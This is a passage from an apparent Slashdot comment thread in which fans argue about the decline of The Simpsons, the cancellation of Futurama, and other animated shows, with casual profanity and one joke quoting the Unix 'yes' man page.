    Take for example the writing on the episode title "Treehouse of Horror" from the mid-nineties(text of the show here). Homer overhears Lisa telling Bart the Edgar Allen Poe classic "The Raven". Homer imagines the world of the "Raven" with himself as the tortured soul and Bart as the Raven antagonist. The short sequence re-writes the Raven (in Poe's poetic style), uses James Earl Jones as the narrator (for a wonderfully scary effect), and sets Marge Simpsons long lost Lenore. Absolutely wonderful writing and humor.

    Juxtapose that short, wonderful segment with a recent episode where Homer secedes from Springfield. The premise of the story is ... well I guess don't know. Homer is mad that because the phone company changed his area code. Somehow this involves a badger and the 70's rock band "The Who".

    Homer swears repeatedly for comedic effect. Great. Hilarious. I could have watched Roseanne to see that. Maybe Homer will grab his crotch next.

    The Who episode had no story line, no parody and no literary allusion. In the end they are *saved* by guest stars "The Who". Great, another washed up band who is currently on tour gets a cross-promotional spot on the Simpsons (I wonder how much bands pay to get on the show?).

  131. Incidentally... by Rogerborg · · Score: 2

    In the UK, the biggest cable/satellite/digital channel, Sky 1, runs Futurama side by side with the Simpsons, at between 6 and 8pm weeknights (plus a Saturday repeat). It promotes it heavily, and doesn't screw around with the timeslots.

    In other words: they get it, and we get it, and I'll be deeply, deeply saddened to see it go because some jumped up MBA prick in an expensive suit feels it doesn't target a common enough demographic, or that it might offend the Neurotic Mothers of America. Sad, sad day.

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  132. Is this better? by Anonymous Coward · · Score: 0

    How about this, "Futurama sucks"

    Is that better?

    1. Re:Is this better? by NanoGator · · Score: 2

      'How about this, "Futurama sucks" Is that better? '

      Not really. When somebody says something 'sucks' but does nothing to back that up... well, frankly you sound like somebody who doesn't have a well formed opinion. In other words, ya saw the show once and never really gave it a chance.

      Seeing as how this thread is about saving Futurama, I'd say you're just looking to piss people off, a la flamebait.

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  133. Too cartoony now by Hoi+Polloi · · Score: 1

    You are absolutely, 100% correct.

    Also, the early Simpsons were more human and people could sympathize with them. They had universal problems. That is a big part of any classic comedy. Now they are so bizarre and "cartoonish" that you can hardly relate to them.

    Cameos and timely subjects are like sweets, a quick thrill and then even more quickly forgotten, and too much of them makes you sick.

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  134. Worst... Review... EVER. by poot_rootbeer · · Score: 2

    You sound just like most of the posters from alt.tv.simpsons in the past 5 years, just repeating "It was good a few seasons ago, but this season has just SUCKED" over and over again, every season.

    Now allow me to mimic the other posters in a.t.s. by saying, if you think the show sucks now, stop watching it. Why waste your time on something you don't like?

  135. Let my Puppets Come by Anonymous Coward · · Score: 0
  136. Jumping in the Shark by PK_ERTW · · Score: 1

    OK, who caught the episode about a week and a half ago where they roast Homer. The part that left me laughing hardest was at the end where they were doing the musical medly, and there is a clip (not from any episode mind you) of Homer on a pair of water skis, jumping over a couple of sharks. That was great. PK

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  137. King of the Hill? by DoctaWatson · · Score: 1

    If you don't think that King of the Hill is smart satire, you've never been to suburban Texas.

    No, it may not have the "here is the absurd joke, laugh now" style of Monty Python that is so used by sketch comedy and the Familiy Guy.

    What King of the Hill DOES have is smart, subtle humor that allows working class middle America to poke fun at itself every once in a while.

  138. I believe It is pronounced... by GrosselyIncompetated · · Score: 1

    D'OH

  139. heh...from #man yes by Anonymous Coward · · Score: 0

    yes repeatedly outputs y, or if expletive is given, the expletive is
    output repeatedly. Termination is by interrupt.

  140. BillG + animated shows by Anonymous Coward · · Score: 0

    Most of us would agree that Bill Gates is a fairly intelligent guy, right? And he probably has some cash left over to entertain himself. I wouldn't be surprised if he enjoys clever shows like Family Guy (in particular), Futurama and (earlier seasons of) The Simpsons.

    Wouldn't it be better if the online petitions for the shows was directed to him, asking him to cough up money to continue the shows?

    (yeah, this post is a joke, but if I was Bill, this is something I'd consider wasting my money on, instead of GPL-bashing. ;))

  141. "Brimstone" vs. "When Animals Attack" by garlic_b · · Score: 1

    Anyone remember this unfortunate broadcast decision? It's a shame, SciFi still occasionally runs the 13 episodes filmed for Brimstone, looking back, it is still a good show. Bummer.

  142. Futurama by Anonymous Coward · · Score: 0

    FOX makes me physically ill in it's decision to kill futurama. Simpsons is the best series to ever hit TV, it has a freaking cult following. Futurama has the same brilliant humour, and a universe of possibilities. I would like to ask those f*&#ers at FOX - "What the F*&K do you think you're doing? And who the F*&K do you think you are? you must be crazy! assholes."

    Thankyou for your time.
    Futurama - best show... ever.